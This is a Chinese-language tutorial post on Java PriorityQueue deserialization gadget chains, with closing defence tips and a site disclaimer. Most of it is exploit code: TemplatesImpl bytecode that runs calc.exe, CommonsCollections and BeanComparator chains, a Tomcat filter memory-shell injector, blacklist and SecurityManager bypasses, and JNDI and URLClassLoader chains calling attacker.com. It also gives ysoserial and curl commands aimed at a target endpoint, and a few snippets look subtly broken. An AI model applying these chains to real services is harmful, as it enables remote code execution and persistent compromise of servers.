一、PriorityQueue 反序列化漏洞核心原理
PriorityQueue 在反序列化时会触发heapify()
方法重建堆结构,通过siftDown()
方法调用Comparator.compare()
或元素的compareTo()
方法。这是构造反序列化攻击链的关键切入点。
1. 基础攻击链构造(结合 TemplatesImpl)
// 生成恶意字节码
public static class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
byte[] evilCode = ClassPool.getDefault().makeClass(EvilClass.class).toBytecode();
// 构造 TemplatesImpl 对象
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_tfactory", null);
// 构造比较器链
Comparator comparator = new Comparator() {
public int compare(Object o1, Object o2) {
try {
templates.newTransformer(); // 触发静态代码块
} catch (Exception e) {}
return 0;
}
};
// 构造恶意 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);
// 序列化 payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(queue);
byte[] payload = bos.toByteArray();
// 反序列化触发
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();
二、绕过技巧
1. 结合 BeanComparator(commons-beanutils)
// 构造属性比较链
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// 设置触发对象
queue.add(templates);
queue.add(templates);
// 序列化后触发流程:
// 1. PriorityQueue 反序列化触发排序
// 2. BeanComparator 调用 getOutputProperties()
// 3. 触发 TemplatesImpl.newTransformer()
2. JDK 高版本绕过(jdk >= 8u71)
// 使用 ToStringComparator(commons-collections4)
Comparator comparator = new TransformedComparator(
new InvokerTransformer("toString", null, null),
new ConstantTransformer(1)
);
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates); // 对象需实现 Comparable
queue.add(templates);
// 触发流程:
// compare() → toString() → getOutputProperties()
三、内存马注入技巧
1. Tomcat Filter 型内存马
// 构造恶意 Filter 注入链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"org.apache.catalina.core.ApplicationFilterConfig"}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getFilter", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("setFilter",
new Class[]{Filter.class},
new Object[]{new EvilFilter()})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator(chain));
四、防御对抗技术
1. 黑名单检测绕过
// 使用非标准 Transformer 组合
Comparator comparator = new ComparatorChain(Arrays.asList(
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
));
2. 反射绕过 SecurityManager
// 通过 Unsafe 修改访问权限
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
// 强制修改 Comparator 字段
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
long offset = unsafe.objectFieldOffset(comparatorField);
unsafe.putObject(queue, offset, maliciousComparator);
五、检测与防御方案
1. 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES =
Set.of("java.util.PriorityQueue", "java.lang.Integer");
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class: ", desc.getName());
}
return super.resolveClass(desc);
}
}
// 使用方式
try (ObjectInputStream ois = new SafeObjectInputStream(inputStream)) {
ois.readObject();
}
2. 运行时检测(RASP)
// 使用 Java Agent 检测 PriorityQueue 反序列化
public class PriorityQueueAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if ("java/util/PriorityQueue".equals(className)) {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
cr.accept(new ClassVisitor(ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("readObject".equals(name)) {
return new MethodVisitor(ASM9, mv) {
@Override
public void visitCode() {
mv.visitMethodInsn(INVOKESTATIC,
"SecurityMonitor",
"checkDeserialization",
"()V");
super.visitCode();
}
};
}
return mv;
}
}, 0);
return cw.toByteArray();
}
return classfileBuffer;
});
}
}
六、漏洞验证与利用
1. 使用 ysoserial 生成 payload
# 生成 CommonsCollections2 的 PriorityQueue payload
java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com" > payload.bin
# 发送到目标服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize-endpoint
2. 手工构造检测
// 检测 PriorityQueue 使用情况
Pattern.compile("new PriorityQueue\\s*\\(\\s*\\d+\\s*,\\s*.*Comparator")
.matcher(sourceCode)
.find();
总结与防御建议
-
漏洞本质
PriorityQueue 的反序列化过程通过比较器执行任意代码,形成「二次触发」机制 -
演进趋势
-
从简单的
Comparator.compare()
到复杂的代理模式 -
结合新型库(如 fastjson、xstream)进行链式扩展
-
-
防御策略
<!-- Maven 依赖安全配置 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- 安全版本 -->
</dependency>
# JVM 启动参数加固
-Dorg.apache.commons.collections.enableUnsafeSerialization=false
-Dcom.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager=com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager
关键审计点:
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject() with @type 特性
PriorityQueue 构造器中使用自定义 Comparator
PriorityQueue的高级利用技巧
一、基于 InstantiateTransformer的类实例化攻击(CC4 链变种)
1. 核心原理
利用InstantiateTransformer
直接实例化恶意类,结合TrAXFilter
触发模板加载:
// 构造 TemplatesImpl 对象(存储恶意字节码)
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "Exploit");
setField(templates, "_bytecodes", new byte[][]{evilCode});
// 使用 InstantiateTransformer 触发构造函数
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 目标类
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates} // 参数传入恶意模板
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造 PriorityQueue 触发链
PriorityQueue<Object> queue = new PriorityQueue<>(
2,
new TransformingComparator(chain)
);
queue.add(1);
queue.add(2);
绕过点:通过TrAXFilter
的构造函数间接调用TemplatesImpl.newTransformer()
,避免直接触发InvokerTransformer
。
二、ExtractorComparator + FilterExtractor绕过黑名单(WebLogic 场景)
1. 利用 WebLogic 未过滤类
// 构造 JNDI 注入链
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://attacker.com/Exploit");
// 使用 FilterExtractor 替代 LockVersionExtractor
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setGetMethodName("getDatabaseMetaData");
FilterExtractor extractor = new FilterExtractor(accessor, "UnicodeSec");
// 构建 PriorityQueue 触发比较器
PriorityQueue<Object> queue = new PriorityQueue<>(
2,
new ExtractorComparator(extractor)
);
queue.add(jdbcRowSet);
queue.add(jdbcRowSet);
绕过原理:利用 WebLogic 未将FilterExtractor
加入黑名单的特性,结合MethodAttributeAccessor
触发 JNDI 注入。
三、二次反序列化技术(SignedObject 封装)
1. 通过 SignedObject 间接触发
// 构造基础 PriorityQueue 链
PriorityQueue<Object> baseQueue = ...; // 标准恶意队列
// 封装到 SignedObject 中
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(baseQueue, kp.getPrivate(), Signature.getInstance("DSA"));
// 通过二次反序列化触发
HashMap<Object, Object> triggerMap = new HashMap<>();
triggerMap.put(signedObject, "value");
// 序列化后发送,触发流程:
// 1. HashMap 反序列化
// 2. 调用 SignedObject.getObject()
// 3. 触发内部 PriorityQueue 的反序列化
优势:绕过直接入口类的黑名单检测,适用于入口类被严格限制的场景。
四、BeanComparator + TemplatesImpl非反射链
1. 利用属性比较触发方法
// 构造 TemplatesImpl 对象
TemplatesImpl templates = ...; // 包含恶意字节码
// 使用 BeanComparator 触发 getOutputProperties()
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(templates);
queue.add(templates);
// 序列化后触发流程:
// 1. PriorityQueue 反序列化触发排序
// 2. BeanComparator 调用 getOutputProperties()
// 3. 触发 TemplatesImpl.newTransformer()
关键点:通过属性访问而非反射调用,绕过对InvokerTransformer
的检测。
五、ExternalizableLite接口绕过(Coherence 协议)
1. 利用 Coherence 的序列化机制
// 构造恶意 AttributeHolder 对象
AttributeHolder holder = new AttributeHolder();
holder.setValue(evilPriorityQueue); // 封装 PriorityQueue 链
// 通过 Coherence 协议传输
ExternalizableHelper.writeObject(outputStream, holder);
// 触发流程:
// 1. 反序列化 AttributeHolder 时调用 readExternal()
// 2. 通过 ExternalizableHelper.readObject() 二次反序列化 PriorityQueue
适用场景:WebLogic 的 T3 协议中,利用ExternalizableLite
接口绕过原生反序列化黑名单。
六、动态类加载 + URLClassLoader组合攻击
1. 远程加载恶意类
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance",
new Class[]{URL[].class},
new Object[]{new URL[]{new URL("http://attacker.com/")}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
PriorityQueue<Object> queue = new PriorityQueue<>(
2,
new TransformingComparator(new ChainedTransformer(transformers))
);
特点:完全避免本地字节码生成,依赖远程类加载实现攻击。
防御建议
-
深度防御策略:
-
使用
SerialKiller
等安全反序列化库 -
启用 SecurityManager 并配置严格策略
-
定期更新 Coherence、Jackson 等组件的安全补丁
-
-
运行时监控:
// RASP 检测示例
public class DeserializationMonitor {
public static void check(Object obj) {
if (obj instanceof PriorityQueue) {
Comparator<?> comp = ((PriorityQueue<?>)obj).comparator();
if (comp instanceof TransformingComparator) {
throw new SecurityException("Blocked dangerous comparator!");
}
}
}
}
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)